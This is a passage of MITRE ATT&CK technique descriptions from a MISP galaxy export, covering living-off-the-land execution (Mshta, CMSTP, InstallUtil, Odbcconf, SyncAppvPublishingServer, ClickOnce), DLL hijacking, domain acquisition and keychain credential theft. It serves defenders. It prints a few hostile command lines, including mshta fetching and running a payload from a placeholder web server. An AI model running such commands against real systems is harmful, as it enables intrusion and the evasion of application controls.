Lua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)

The tag is: *misp-galaxy:mitre-attack-pattern="Lua - T1059.011"*

Table 9059. Table References

Links
https://attack.mitre.org/techniques/T1059/011
https://blog.talosintelligence.com/poetrat-update/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf
https://pgl.yoyo.org/luai/i/lua_State
https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/
https://www.lua.org/start.html
https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails

Sharepoint - T1213.002

Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams

- Technical system documentation
- Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

The tag is: *misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002"*

Table 9060. Table References

Links
https://attack.mitre.org/techniques/T1213/002
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2

SyncAppvPublishingServer - T1216.002

Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)

The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)

Adversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by "living off the land."(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)

For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)

```
SyncAppvPublishingServer.vbs "n; {PowerShell}"
```

The tag is: *misp-galaxy:mitre-attack-pattern="SyncAppvPublishingServer - T1216.002"*

Table 9061. Table References

Links
https://attack.mitre.org/techniques/T1216/002
https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started

https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/
https://securelist.com/bluenoroff-methods-bypass-motw/108383/
https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html
https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/
https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/
https://x.com/monoxgas/status/895045566090010624

ClickOnce - T1127.002

Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)

Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.

ClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)

Adversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)

Additionally, an adversary can move the ClickOnce application file to a remote user's startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)

The tag is: *misp-galaxy:mitre-attack-pattern="ClickOnce - T1127.002"*

Table 9062. Table References

Links
https://attack.mitre.org/techniques/T1127/002

https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf?_gl=1*1jv89bf*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.256219723.1512103758.1724809895-1999078900.1724809894
https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894
https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2022
https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/

Databases - T1213.006

Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments).

Examples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for [Lateral Movement](https://attack.mitre.org/tactics/TA0008), [Command and Control](https://attack.mitre.org/tactics/TA0011), or [Exfiltration](https://attack.mitre.org/tactics/TA0010). Data exfiltrated from databases may also be used to extort victims or may be sold for profit.(Citation: Google Cloud Threat Intelligence UNC5537 Snowflake 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Databases - T1213.006"*

Table 9063. Table References

Links
https://attack.mitre.org/techniques/T1213/006
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion

JamPlus - T1127.003

Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for

generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)

Adversaries may abuse the `JamPlus` build utility to execute malicious scripts via a `.jam` file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.(Citation: Cyble)(Citation: Elastic Security Labs)

The tag is: *misp-galaxy:mitre-attack-pattern="JamPlus - T1127.003"*

Table 9064. Table References

Links
https://attack.mitre.org/techniques/T1127/003
https://cyble.com/blog/reputation-hijacking-with-jamplus-a-maneuver-to-bypass-smart-app-control-sac/
https://jamplus.github.io/jamplus/quick_start.html
https://www.elastic.co/security-labs/dismantling-smart-app-control

CMSTP - T1218.003

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003"*

Table 9065. Table References

Links
https://attack.mitre.org/techniques/T1218/003
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)

https://github.com/api0cradle/UltimateAppLockerByPassList
https://msitpros.com/?p=3960
https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://x.com/ItsReallyNick/status/958789644165894146
https://x.com/NickTyrer/status/958450014111633408

InstallUtil - T1218.004

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004"*

Table 9066. Table References

Links
https://attack.mitre.org/techniques/T1218/004
https://lolbas-project.github.io/lolbas/Binaries/Installutil/
https://msdn.microsoft.com/en-us/library/50614e95.aspx

Compression - T1027.015

Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., [Fileless Storage](https://attack.mitre.org/techniques/T1027/011)).(Citation: Trustwave Pillowmint June 2020)

In order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.(Citation: Perception Point)

File archives may be sent as one [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., [Malicious

File](https://attack.mitre.org/techniques/T1204/002)).(Citation: NTT Security Flagpro new December 2021) However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.(Citation: The Hacker News)

[Compression](https://attack.mitre.org/techniques/T1027/015) may be used in combination with [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013) where compressed files are encrypted and password-protected.

The tag is: *misp-galaxy:mitre-attack-pattern="Compression - T1027.015"*

Table 9067. Table References

Links
https://attack.mitre.org/techniques/T1027/015
https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech
https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/
https://thehackernews.com/2023/04/hackers-using-self-extracting-archives.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/

Mshta - T1218.005

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: *misp-galaxy:mitre-attack-pattern="Mshta - T1218.005"*

Table 9068. Table References

Links
https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/

https://attack.mitre.org/techniques/T1218/005
https://en.wikipedia.org/wiki/HTML_Application
https://lolbas-project.github.io/lolbas/Binaries/Mshta/
https://msdn.microsoft.com/library/ms536471.aspx
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/

Hardware - T1592.001

Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

The tag is: *misp-galaxy:mitre-attack-pattern="Hardware - T1592.001"*

Table 9069. Table References

Links
https://attack.mitre.org/techniques/T1592/001
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Geofencing - T1627.001

Adversaries may use a device's geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)

[Geofencing](https://attack.mitre.org/techniques/T1627/001) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device's location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.

One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1627/001) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1627/001) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include "Allow only while using the app", which will effectively prohibit background location collection.

Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device's location, including one-time use and only when the application is running in the foreground.

[Geofencing](https://attack.mitre.org/techniques/T1627/001) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.

The tag is: *misp-galaxy:mitre-attack-pattern="Geofencing - T1627.001"*

Table 9070. Table References

Links
https://attack.mitre.org/techniques/T1627/001
https://blog.lookout.com/esurv-research

Msiexec - T1218.007

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"*

Table 9071. Table References

Links
https://attack.mitre.org/techniques/T1218/007
https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/

Odbcconf - T1218.008

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}</code>).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008"*

Table 9072. Table References

Links
https://attack.mitre.org/techniques/T1218/008
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017

https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/

Keychain - T1634.001

Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.

On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1634.001"*

Table 9073. Table References

Links
https://attack.mitre.org/techniques/T1634/001
https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/
https://developer.apple.com/documentation/security/keychain_services
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html

Domains - T1583.001

Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)

Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)

Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)

Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)

In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor's choosing.(Citation: Invictus IR DangerDev 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Domains - T1583.001"*

Table 9074. Table References

Links
https://attack.mitre.org/techniques/T1583/001
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html
https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html
https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/
https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
https://threatconnect.com/blog/infrastructure-research-hunting/
https://us-cert.cisa.gov/ncas/alerts/aa20-258a
https://us-cert.cisa.gov/ncas/tips/ST05-016
https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/
https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/
https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/
https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/

https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/
https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits
https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/

DLL - T1574.001

Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)

Specific ways DLLs are abused by adversaries include:

DLL Sideloading

Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).

Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)

Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware's behavior. Another method implements a "loader-for-a-loader", where a malicious DLL's sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)

DLL Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause

Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)

DLL Redirection

Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)

Phantom DLL Hijacking

Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)

DLL Substitution

Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)

Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.

Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)

If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL - T1574.001"*

Table 9075. Table References

Links
https://attack.mitre.org/techniques/T1574/001
https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN
https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/
https://owasp.org/www-community/attacks/Binary_planting
https://unit42.paloaltonetworks.com/dll-hijacking-techniques/

https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/
https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution
https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

Domains - T1584.001

Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)

Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)

Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Domains - T1584.001"*

Table 9076. Table References

Links
https://attack.mitre.org/techniques/T1584/001
https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover
https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/
https://unit42.paloaltonetworks.com/domain-shadowing/
https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en

Keychain - T1555.001

Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains:

Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple's iCloud service.

Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)

